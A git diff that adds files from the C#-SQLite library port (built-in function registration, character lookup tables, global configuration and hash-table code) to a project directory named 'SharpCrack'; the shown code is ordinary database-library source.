// Constructor + public sAggs( string zName, sbyte nArg, u8 argType, u8 needCollSeq, dxStep xStep, dxFinal xFinalize ) + { + this.zName = zName; + this.nArg = nArg; + this.argType = argType; + this.needCollSeq = needCollSeq; + this.xStep = xStep; + this.xFinalize = xFinalize; + } + } + static void sqlite3RegisterBuiltinFunctions( sqlite3 db ) + { + int rc = sqlite3_overload_function( db, "MATCH", 2 ); + Debug.Assert( rc == SQLITE_NOMEM || rc == SQLITE_OK ); + if ( rc == SQLITE_NOMEM ) + { + //// db.mallocFailed = 1; + } + } + + /* + ** Set the LIKEOPT flag on the 2-argument function with the given name. + */ + static void setLikeOptFlag( sqlite3 db, string zName, int flagVal ) + { + FuncDef pDef; + pDef = sqlite3FindFunction( db, zName, sqlite3Strlen30( zName ), + 2, SQLITE_UTF8, 0 ); + if ( ALWAYS( pDef != null ) ) + { + pDef.flags = (byte)flagVal; + } + } + + /* + ** Register the built-in LIKE and GLOB functions. The caseSensitive + ** parameter determines whether or not the LIKE operator is case + ** sensitive. GLOB is always case sensitive. + */ + static void sqlite3RegisterLikeFunctions( sqlite3 db, int caseSensitive ) + { + compareInfo pInfo; + if ( caseSensitive != 0 ) + { + pInfo = likeInfoAlt; + } + else + { + pInfo = likeInfoNorm; + } + sqlite3CreateFunc( db, "like", 2, SQLITE_UTF8, pInfo, (dxFunc)likeFunc, null, null, null ); + sqlite3CreateFunc( db, "like", 3, SQLITE_UTF8, pInfo, (dxFunc)likeFunc, null, null, null ); + sqlite3CreateFunc( db, "glob", 2, SQLITE_UTF8, + globInfo, (dxFunc)likeFunc, null, null, null ); + setLikeOptFlag( db, "glob", SQLITE_FUNC_LIKE | SQLITE_FUNC_CASE ); + setLikeOptFlag( db, "like", + caseSensitive != 0 ? ( SQLITE_FUNC_LIKE | SQLITE_FUNC_CASE ) : SQLITE_FUNC_LIKE ); + } + + /* + ** pExpr points to an expression which implements a function. If + ** it is appropriate to apply the LIKE optimization to that function + ** then set aWc[0] through aWc[2] to the wildcard characters and + ** return TRUE. If the function is not a LIKE-style function then + ** return FALSE. + */ + static bool sqlite3IsLikeFunction( sqlite3 db, Expr pExpr, ref bool pIsNocase, char[] aWc ) + { + FuncDef pDef; + if ( pExpr.op != TK_FUNCTION + || null == pExpr.x.pList + || pExpr.x.pList.nExpr != 2 + ) + { + return false; + } + Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); + pDef = sqlite3FindFunction( db, pExpr.u.zToken, sqlite3Strlen30( pExpr.u.zToken ), + 2, SQLITE_UTF8, 0 ); + if ( NEVER( pDef == null ) || ( pDef.flags & SQLITE_FUNC_LIKE ) == 0 ) + { + return false; + } + + /* The memcpy() statement assumes that the wildcard characters are + ** the first three statements in the compareInfo structure. The + ** Debug.Asserts() that follow verify that assumption + */ + //memcpy( aWc, pDef.pUserData, 3 ); + aWc[0] = ( (compareInfo)pDef.pUserData ).matchAll; + aWc[1] = ( (compareInfo)pDef.pUserData ).matchOne; + aWc[2] = ( (compareInfo)pDef.pUserData ).matchSet; + // Debug.Assert((char*)&likeInfoAlt == (char*)&likeInfoAlt.matchAll); + // Debug.Assert(&((char*)&likeInfoAlt)[1] == (char*)&likeInfoAlt.matchOne); + // Debug.Assert(&((char*)&likeInfoAlt)[2] == (char*)&likeInfoAlt.matchSet); + pIsNocase = ( pDef.flags & SQLITE_FUNC_CASE ) == 0; + return true; + } + + /* + ** All all of the FuncDef structures in the aBuiltinFunc[] array above + ** to the global function hash table. This occurs at start-time (as + ** a consequence of calling sqlite3_initialize()). + ** + ** After this routine runs + */ + static void sqlite3RegisterGlobalFunctions() + { + /* + ** The following array holds FuncDef structures for all of the functions + ** defined in this file. + ** + ** The array cannot be constant since changes are made to the + ** FuncDef.pHash elements at start-time. The elements of this array + ** are read-only after initialization is complete. + */ + FuncDef[] aBuiltinFunc = { +FUNCTION("ltrim", 1, 1, 0, trimFunc ), +FUNCTION("ltrim", 2, 1, 0, trimFunc ), +FUNCTION("rtrim", 1, 2, 0, trimFunc ), +FUNCTION("rtrim", 2, 2, 0, trimFunc ), +FUNCTION("trim", 1, 3, 0, trimFunc ), +FUNCTION("trim", 2, 3, 0, trimFunc ), +FUNCTION("min", -1, 0, 1, minmaxFunc ), +FUNCTION("min", 0, 0, 1, null ), +AGGREGATE("min", 1, 0, 1, minmaxStep, minMaxFinalize ), +FUNCTION("max", -1, 1, 1, minmaxFunc ), +FUNCTION("max", 0, 1, 1, null ), +AGGREGATE("max", 1, 1, 1, minmaxStep, minMaxFinalize ), +FUNCTION("typeof", 1, 0, 0, typeofFunc ), +FUNCTION("length", 1, 0, 0, lengthFunc ), +FUNCTION("substr", 2, 0, 0, substrFunc ), +FUNCTION("substr", 3, 0, 0, substrFunc ), +FUNCTION("abs", 1, 0, 0, absFunc ), +#if !SQLITE_OMIT_FLOATING_POINT +FUNCTION("round", 1, 0, 0, roundFunc ), +FUNCTION("round", 2, 0, 0, roundFunc ), +#endif +FUNCTION("upper", 1, 0, 0, upperFunc ), +FUNCTION("lower", 1, 0, 0, lowerFunc ), +FUNCTION("coalesce", 1, 0, 0, null ), +FUNCTION("coalesce", 0, 0, 0, null ), +/* FUNCTION(coalesce, -1, 0, 0, ifnullFunc ), */ +// use versionFunc here just for a dummy placeholder +new FuncDef(-1,SQLITE_UTF8,SQLITE_FUNC_COALESCE,null,null,versionFunc,null,null,"coalesce",null,null), +FUNCTION("hex", 1, 0, 0, hexFunc ), +/* FUNCTION(ifnull, 2, 0, 0, ifnullFunc ), */ +// use versionFunc here just for a dummy placeholder +new FuncDef(2,SQLITE_UTF8,SQLITE_FUNC_COALESCE,null,null,versionFunc,null,null,"ifnull",null,null), +FUNCTION("random", 0, 0, 0, randomFunc ), +FUNCTION("randomblob", 1, 0, 0, randomBlob ), +FUNCTION("nullif", 2, 0, 1, nullifFunc ), +FUNCTION("sqlite_version", 0, 0, 0, versionFunc ), +FUNCTION("sqlite_source_id", 0, 0, 0, sourceidFunc ), +FUNCTION("sqlite_log", 2, 0, 0, errlogFunc ), +#if !SQLITE_OMIT_COMPILEOPTION_DIAGS +FUNCTION("sqlite_compileoption_used",1, 0, 0, compileoptionusedFunc ), +FUNCTION("sqlite_compileoption_get", 1, 0, 0, compileoptiongetFunc ), +#endif //* SQLITE_OMIT_COMPILEOPTION_DIAGS */ +FUNCTION("quote", 1, 0, 0, quoteFunc ), +FUNCTION("last_insert_rowid", 0, 0, 0, last_insert_rowid), +FUNCTION("changes", 0, 0, 0, changes ), +FUNCTION("total_changes", 0, 0, 0, total_changes ), +FUNCTION("replace", 3, 0, 0, replaceFunc ), +FUNCTION("zeroblob", 1, 0, 0, zeroblobFunc ), +#if SQLITE_SOUNDEX +FUNCTION("soundex", 1, 0, 0, soundexFunc ), +#endif +#if !SQLITE_OMIT_LOAD_EXTENSION +FUNCTION("load_extension", 1, 0, 0, loadExt ), +FUNCTION("load_extension", 2, 0, 0, loadExt ), +#endif +AGGREGATE("sum", 1, 0, 0, sumStep, sumFinalize ), +AGGREGATE("total", 1, 0, 0, sumStep, totalFinalize ), +AGGREGATE("avg", 1, 0, 0, sumStep, avgFinalize ), +/*AGGREGATE("count", 0, 0, 0, countStep, countFinalize ), */ +/* AGGREGATE(count, 0, 0, 0, countStep, countFinalize ), */ +new FuncDef( 0,SQLITE_UTF8,SQLITE_FUNC_COUNT,null,null,null,countStep,countFinalize,"count",null,null), +AGGREGATE("count", 1, 0, 0, countStep, countFinalize ), +AGGREGATE("group_concat", 1, 0, 0, groupConcatStep, groupConcatFinalize), +AGGREGATE("group_concat", 2, 0, 0, groupConcatStep, groupConcatFinalize), + +LIKEFUNC("glob", 2, globInfo, SQLITE_FUNC_LIKE|SQLITE_FUNC_CASE), +#if SQLITE_CASE_SENSITIVE_LIKE +LIKEFUNC("like", 2, likeInfoAlt, SQLITE_FUNC_LIKE|SQLITE_FUNC_CASE), +LIKEFUNC("like", 3, likeInfoAlt, SQLITE_FUNC_LIKE|SQLITE_FUNC_CASE), +#else +LIKEFUNC("like", 2, likeInfoNorm, SQLITE_FUNC_LIKE), +LIKEFUNC("like", 3, likeInfoNorm, SQLITE_FUNC_LIKE), +#endif +FUNCTION("regexp", 2, 0, 0, regexpFunc ),}; + int i; +#if SQLITE_OMIT_WSD +FuncDefHash pHash = GLOBAL( FuncDefHash, sqlite3GlobalFunctions ); +FuncDef[] aFunc = (FuncDef[])GLOBAL( FuncDef, aBuiltinFunc ); +#else + FuncDefHash pHash = sqlite3GlobalFunctions; + FuncDef[] aFunc = aBuiltinFunc; +#endif + for ( i = 0; i < ArraySize( aBuiltinFunc ); i++ ) + { + sqlite3FuncDefInsert( pHash, aFunc[i] ); + } + sqlite3RegisterDateTimeFunctions(); +#if !SQLITE_OMIT_ALTERTABLE + sqlite3AlterFunctions(); +#endif + } + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/global_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/global_c.cs new file mode 100644 index 0000000..88947c6 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/global_c.cs @@ -0,0 +1,246 @@ +using System; +using System.Diagnostics; +using System.Text; + +namespace Community.CsharpSqlite +{ + using sqlite3_value = Sqlite3.Mem; + + public partial class Sqlite3 + { + /* + ** 2008 June 13 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file contains definitions of global variables and contants. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + + + /* An array to map all upper-case characters into their corresponding + ** lower-case character. + ** + ** SQLite only considers US-ASCII (or EBCDIC) characters. We do not + ** handle case conversions for the UTF character set since the tables + ** involved are nearly as big or bigger than SQLite itself. + */ + /* An array to map all upper-case characters into their corresponding + ** lower-case character. + */ +// +// Replaced in C# with sqlite3UpperToLower class +// static int[] sqlite3UpperToLower = new int[] { +//#if SQLITE_ASCII +//0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, +//18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, +//36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, +//54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 97, 98, 99,100,101,102,103, +//104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121, +//122, 91, 92, 93, 94, 95, 96, 97, 98, 99,100,101,102,103,104,105,106,107, +//108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125, +//126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143, +//144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161, +//162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179, +//180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197, +//198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215, +//216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233, +//234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251, +//252,253,254,255 +//#endif +//#if SQLITE_EBCDIC +//0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, /* 0x */ +//16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, /* 1x */ +//32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, /* 2x */ +//48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, /* 3x */ +//64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, /* 4x */ +//80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, /* 5x */ +//96, 97, 66, 67, 68, 69, 70, 71, 72, 73,106,107,108,109,110,111, /* 6x */ +//112, 81, 82, 83, 84, 85, 86, 87, 88, 89,122,123,124,125,126,127, /* 7x */ +//128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143, /* 8x */ +//144,145,146,147,148,149,150,151,152,153,154,155,156,157,156,159, /* 9x */ +//160,161,162,163,164,165,166,167,168,169,170,171,140,141,142,175, /* Ax */ +//176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191, /* Bx */ +//192,129,130,131,132,133,134,135,136,137,202,203,204,205,206,207, /* Cx */ +//208,145,146,147,148,149,150,151,152,153,218,219,220,221,222,223, /* Dx */ +//224,225,162,163,164,165,166,167,168,169,232,203,204,205,206,207, /* Ex */ +//239,240,241,242,243,244,245,246,247,248,249,219,220,221,222,255, /* Fx */ +//#endif +//}; + + /* + ** The following 256 byte lookup table is used to support SQLites built-in + ** equivalents to the following standard library functions: + ** + ** isspace() 0x01 + ** isalpha() 0x02 + ** isdigit() 0x04 + ** isalnum() 0x06 + ** isxdigit() 0x08 + ** toupper() 0x20 + ** SQLite identifier character 0x40 + ** + ** Bit 0x20 is set if the mapped character requires translation to upper + ** case. i.e. if the character is a lower-case ASCII character. + ** If x is a lower-case ASCII character, then its upper-case equivalent + ** is (x - 0x20). Therefore toupper() can be implemented as: + ** + ** (x & ~(map[x]&0x20)) + ** + ** Standard function tolower() is implemented using the sqlite3UpperToLower[] + ** array. tolower() is used more often than toupper() by SQLite. + ** + ** Bit 0x40 is set if the character non-alphanumeric and can be used in an + ** SQLite identifier. Identifiers are alphanumerics, "_", "$", and any + ** non-ASCII UTF character. Hence the test for whether or not a character is + ** part of an identifier is 0x46. + ** + ** SQLite's versions are identical to the standard versions assuming a + ** locale of "C". They are implemented as macros in sqliteInt.h. + */ +#if !NO_SQLITE_ASCII + static byte[] sqlite3CtypeMap = new byte[] { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 00..07 ........ */ + 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, /* 08..0f ........ */ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 10..17 ........ */ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 18..1f ........ */ + 0x01, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, /* 20..27 !"#$%&' */ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 28..2f ()*+,-./ */ + 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, /* 30..37 01234567 */ + 0x0c, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 38..3f 89:;<=>? */ + + 0x00, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x02, /* 40..47 @ABCDEFG */ + 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, /* 48..4f HIJKLMNO */ + 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, /* 50..57 PQRSTUVW */ + 0x02, 0x02, 0x02, 0x00, 0x00, 0x00, 0x00, 0x40, /* 58..5f XYZ[\]^_ */ + 0x00, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x22, /* 60..67 `abcdefg */ + 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, /* 68..6f hijklmno */ + 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, /* 70..77 pqrstuvw */ + 0x22, 0x22, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, /* 78..7f xyz{|}~. */ + + 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, /* 80..87 ........ */ + 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, /* 88..8f ........ */ + 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, /* 90..97 ........ */ + 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, /* 98..9f ........ */ + 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, /* a0..a7 ........ */ + 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, /* a8..af ........ */ + 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, /* b0..b7 ........ */ + 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, /* b8..bf ........ */ + + 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, /* c0..c7 ........ */ + 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, /* c8..cf ........ */ + 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, /* d0..d7 ........ */ + 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, /* d8..df ........ */ + 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, /* e0..e7 ........ */ + 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, /* e8..ef ........ */ + 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, /* f0..f7 ........ */ + 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40 /* f8..ff ........ */ +}; +#endif + +#if SQLITE_USE_URI + const bool SQLITE_USE_URI = true; +#else +//# define SQLITE_USE_URI 0 + const bool SQLITE_USE_URI = false; +#endif + + /* +** The following singleton contains the global configuration for +** the SQLite library. +*/ + static Sqlite3Config sqlite3Config = new Sqlite3Config( + SQLITE_DEFAULT_MEMSTATUS, /* bMemstat */ + 1, /* bCoreMutex */ + SQLITE_THREADSAFE != 0, /* bFullMutex */ + SQLITE_USE_URI, /* bOpenUri */ + 0x7ffffffe, /* mxStrlen */ + 100, /* szLookaside */ + 500, /* nLookaside */ + new sqlite3_mem_methods(), /* m */ + new sqlite3_mutex_methods( null, null, null, null, null, null, null, null, null ), /* mutex */ + new sqlite3_pcache_methods(),/* pcache */ + null, /* pHeap */ + 0, /* nHeap */ + 0, 0, /* mnHeap, mxHeap */ + null, /* pScratch */ + 0, /* szScratch */ + 0, /* nScratch */ + null, /* pPage */ + SQLITE_DEFAULT_PAGE_SIZE, /* szPage */ + 0, /* nPage */ + 0, /* mxParserStack */ + false, /* sharedCacheEnabled */ + /* All the rest should always be initialized to zero */ + 0, /* isInit */ + 0, /* inProgress */ + 0, /* isMutexInit */ + 0, /* isMallocInit */ + 0, /* isPCacheInit */ + null, /* pInitMutex */ + 0, /* nRefInitMutex */ + null, /* xLog */ + 0, /* pLogArg */ + false /* bLocaltimeFault */ + ); + + /* + ** Hash table for global functions - functions common to all + ** database connections. After initialization, this table is + ** read-only. + */ + static FuncDefHash sqlite3GlobalFunctions; + /* + ** Constant tokens for values 0 and 1. + */ + static Token[] sqlite3IntTokens = { + new Token( "0", 1 ), + new Token( "1", 1 ) +}; + + /* + ** The value of the "pending" byte must be 0x40000000 (1 byte past the + ** 1-gibabyte boundary) in a compatible database. SQLite never uses + ** the database page that contains the pending byte. It never attempts + ** to read or write that page. The pending byte page is set assign + ** for use by the VFS layers as space for managing file locks. + ** + ** During testing, it is often desirable to move the pending byte to + ** a different position in the file. This allows code that has to + ** deal with the pending byte to run on files that are much smaller + ** than 1 GiB. The sqlite3_test_control() interface can be used to + ** move the pending byte. + ** + ** IMPORTANT: Changing the pending byte to any value other than + ** 0x40000000 results in an incompatible database file format! + ** Changing the pending byte during operating results in undefined + ** and dileterious behavior. + */ +#if !SQLITE_OMIT_WSD + static int sqlite3PendingByte = 0x40000000; +#endif + + //#include "opcodes.h" + /* + ** Properties of opcodes. The OPFLG_INITIALIZER macro is + ** created by mkopcodeh.awk during compilation. Data is obtained + ** from the comments following the "case OP_xxxx:" statements in + ** the vdbe.c file. + */ + public static int[] sqlite3OpcodeProperty; + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/hash_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/hash_c.cs new file mode 100644 index 0000000..28d6475 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/hash_c.cs @@ -0,0 +1,363 @@ +using System; +using System.Diagnostics; +using System.Text; + +using u8 = System.Byte; +using u32 = System.UInt32; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2001 September 22 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This is the implementation of generic hash-tables + ** used in SQLite. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + //#include + + /* Turn bulk memory into a hash table object by initializing the + ** fields of the Hash structure. + ** + ** "pNew" is a pointer to the hash table that is to be initialized. + */ + static void sqlite3HashInit( Hash pNew ) + { + Debug.Assert( pNew != null ); + pNew.first = null; + pNew.count = 0; + pNew.htsize = 0; + pNew.ht = null; + } + + /* Remove all entries from a hash table. Reclaim all memory. + ** Call this routine to delete a hash table or to reset a hash table + ** to the empty state. + */ + static void sqlite3HashClear( Hash pH ) + { + HashElem elem; /* For looping over all elements of the table */ + + Debug.Assert( pH != null ); + elem = pH.first; + pH.first = null; + //sqlite3_free( ref pH.ht ); + pH.ht = null; + pH.htsize = 0; + while ( elem != null ) + { + HashElem next_elem = elem.next; + ////sqlite3_free(ref elem ); + elem = next_elem; + } + pH.count = 0; + } + + /* + ** The hashing function. + */ + static u32 strHash( string z, int nKey ) + { + int h = 0; + Debug.Assert( nKey >= 0 ); + int _z = 0; + while ( nKey > 0 ) + { + h = ( h << 3 ) ^ h ^ ( ( _z < z.Length ) ? (int)sqlite3UpperToLower[(byte)z[_z++]] : 0 ); + nKey--; + } + return (u32)h; + } + + /* Link pNew element into the hash table pH. If pEntry!=0 then also + ** insert pNew into the pEntry hash bucket. + */ + static void insertElement( + Hash pH, /* The complete hash table */ + _ht pEntry, /* The entry into which pNew is inserted */ + HashElem pNew /* The element to be inserted */ + ) + { + HashElem pHead; /* First element already in pEntry */ + if ( pEntry != null ) + { + pHead = pEntry.count != 0 ? pEntry.chain : null; + pEntry.count++; + pEntry.chain = pNew; + } + else + { + pHead = null; + } + if ( pHead != null ) + { + pNew.next = pHead; + pNew.prev = pHead.prev; + if ( pHead.prev != null ) + { + pHead.prev.next = pNew; + } + else + { + pH.first = pNew; + } + pHead.prev = pNew; + } + else + { + pNew.next = pH.first; + if ( pH.first != null ) + { + pH.first.prev = pNew; + } + pNew.prev = null; + pH.first = pNew; + } + } + + /* Resize the hash table so that it cantains "new_size" buckets. + ** + ** The hash table might fail to resize if sqlite3_malloc() fails or + ** if the new size is the same as the prior size. + ** Return TRUE if the resize occurs and false if not. + */ + static bool rehash( ref Hash pH, u32 new_size ) + { + _ht[] new_ht; /* The new hash table */ + HashElem elem; + HashElem next_elem; /* For looping over existing elements */ + +#if SQLITE_MALLOC_SOFT_LIMIT +if( new_size*sizeof(struct _ht)>SQLITE_MALLOC_SOFT_LIMIT ){ +new_size = SQLITE_MALLOC_SOFT_LIMIT/sizeof(struct _ht); +} +if( new_size==pH->htsize ) return false; +#endif + + /* There is a call to sqlite3Malloc() inside rehash(). If there is +** already an allocation at pH.ht, then if this malloc() fails it +** is benign (since failing to resize a hash table is a performance +** hit only, not a fatal error). +*/ + sqlite3BeginBenignMalloc(); + new_ht = new _ht[new_size]; //(struct _ht )sqlite3Malloc( new_size*sizeof(struct _ht) ); + for ( int i = 0; i < new_size; i++ ) + new_ht[i] = new _ht(); + sqlite3EndBenignMalloc(); + + if ( new_ht == null ) + return false; + //sqlite3_free( ref pH.ht ); + pH.ht = new_ht; + // pH.htsize = new_size = sqlite3MallocSize(new_ht)/sizeof(struct _ht); + //memset(new_ht, 0, new_size*sizeof(struct _ht)); + pH.htsize = new_size; + + for ( elem = pH.first, pH.first = null; elem != null; elem = next_elem ) + { + u32 h = strHash( elem.pKey, elem.nKey ) % new_size; + next_elem = elem.next; + insertElement( pH, new_ht[h], elem ); + } + return true; + } + + /* This function (for internal use only) locates an element in an + ** hash table that matches the given key. The hash for this key has + ** already been computed and is passed as the 4th parameter. + */ + static HashElem findElementGivenHash( + Hash pH, /* The pH to be searched */ + string pKey, /* The key we are searching for */ + int nKey, /* Bytes in key (not counting zero terminator) */ + u32 h /* The hash for this key. */ + ) + { + HashElem elem; /* Used to loop thru the element list */ + int count; /* Number of elements left to test */ + + if ( pH.ht != null && pH.ht[h] != null ) + { + _ht pEntry = pH.ht[h]; + elem = pEntry.chain; + count = (int)pEntry.count; + } + else + { + elem = pH.first; + count = (int)pH.count; + } + while ( count-- > 0 && ALWAYS( elem ) ) + { + if ( elem.nKey == nKey && elem.pKey.Equals( pKey, StringComparison.InvariantCultureIgnoreCase ) ) + { + return elem; + } + elem = elem.next; + } + return null; + } + + /* Remove a single entry from the hash table given a pointer to that + ** element and a hash on the element's key. + */ + static void removeElementGivenHash( + Hash pH, /* The pH containing "elem" */ + ref HashElem elem, /* The element to be removed from the pH */ + u32 h /* Hash value for the element */ + ) + { + _ht pEntry; + if ( elem.prev != null ) + { + elem.prev.next = elem.next; + } + else + { + pH.first = elem.next; + } + if ( elem.next != null ) + { + elem.next.prev = elem.prev; + } + if ( pH.ht != null && pH.ht[h] != null ) + { + pEntry = pH.ht[h]; + if ( pEntry.chain == elem ) + { + pEntry.chain = elem.next; + } + pEntry.count--; + Debug.Assert( pEntry.count >= 0 ); + } + //sqlite3_free( ref elem ); + pH.count--; + if ( pH.count <= 0 ) + { + Debug.Assert( pH.first == null ); + Debug.Assert( pH.count == 0 ); + sqlite3HashClear( pH ); + } + } + + /* Attempt to locate an element of the hash table pH with a key + ** that matches pKey,nKey. Return the data for this element if it is + ** found, or NULL if there is no match. + */ + static T sqlite3HashFind( Hash pH, string pKey, int nKey, T nullType ) where T : class + { + HashElem elem; /* The element that matches key */ + u32 h; /* A hash on key */ + + Debug.Assert( pH != null ); + Debug.Assert( pKey != null ); + Debug.Assert( nKey >= 0 ); + if ( pH.ht != null ) + { + h = strHash( pKey, nKey ) % pH.htsize; + } + else + { + h = 0; + } + elem = findElementGivenHash( pH, pKey, nKey, h ); + return elem != null ? (T)elem.data : nullType; + } + + /* Insert an element into the hash table pH. The key is pKey,nKey + ** and the data is "data". + ** + ** If no element exists with a matching key, then a new + ** element is created and NULL is returned. + ** + ** If another element already exists with the same key, then the + ** new data replaces the old data and the old data is returned. + ** The key is not copied in this instance. If a malloc fails, then + ** the new data is returned and the hash table is unchanged. + ** + ** If the "data" parameter to this function is NULL, then the + ** element corresponding to "key" is removed from the hash table. + */ + static T sqlite3HashInsert( ref Hash pH, string pKey, int nKey, T data ) where T : class + { + u32 h; /* the hash of the key modulo hash table size */ + + HashElem elem; /* Used to loop thru the element list */ + HashElem new_elem; /* New element added to the pH */ + + Debug.Assert( pH != null ); + Debug.Assert( pKey != null ); + Debug.Assert( nKey >= 0 ); + + if ( pH.htsize != 0 ) + { + h = strHash( pKey, nKey ) % pH.htsize; + } + else + { + h = 0; + } + elem = findElementGivenHash( pH, pKey, nKey, h ); + if ( elem != null ) + { + T old_data = (T)elem.data; + if ( data == null ) + { + removeElementGivenHash( pH, ref elem, h ); + } + else + { + elem.data = data; + elem.pKey = pKey; + Debug.Assert( nKey == elem.nKey ); + } + return old_data; + } + if ( data == null ) + return data; + new_elem = new HashElem();//(HashElem)sqlite3Malloc( sizeof(HashElem) ); + if ( new_elem == null ) + return data; + new_elem.pKey = pKey; + new_elem.nKey = nKey; + new_elem.data = data; + pH.count++; + if ( pH.count >= 10 && pH.count > 2 * pH.htsize ) + { + if ( rehash( ref pH, pH.count * 2 ) ) + { + Debug.Assert( pH.htsize > 0 ); + h = strHash( pKey, nKey ) % pH.htsize; + } + } + if ( pH.ht != null ) + { + insertElement( pH, pH.ht[h], new_elem ); + + } + else + { + insertElement( pH, null, new_elem ); + } + return null; + } + + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/hwtime_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/hwtime_c.cs new file mode 100644 index 0000000..8fcb8ca --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/hwtime_c.cs @@ -0,0 +1,103 @@ +namespace Community.CsharpSqlite +{ + using sqlite_u3264 = System.UInt64; + + public partial class Sqlite3 + { + /* + ** 2008 May 27 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ****************************************************************************** + ** + ** This file contains inline asm code for retrieving "high-performance" + ** counters for x86 class CPUs. + ** + ** $Id: hwtime.h,v 1.3 2008/08/01 14:33:15 shane Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ************************************************************************* + */ + //#if !_HWTIME_H_ + //#define _HWTIME_H_ + + /* + 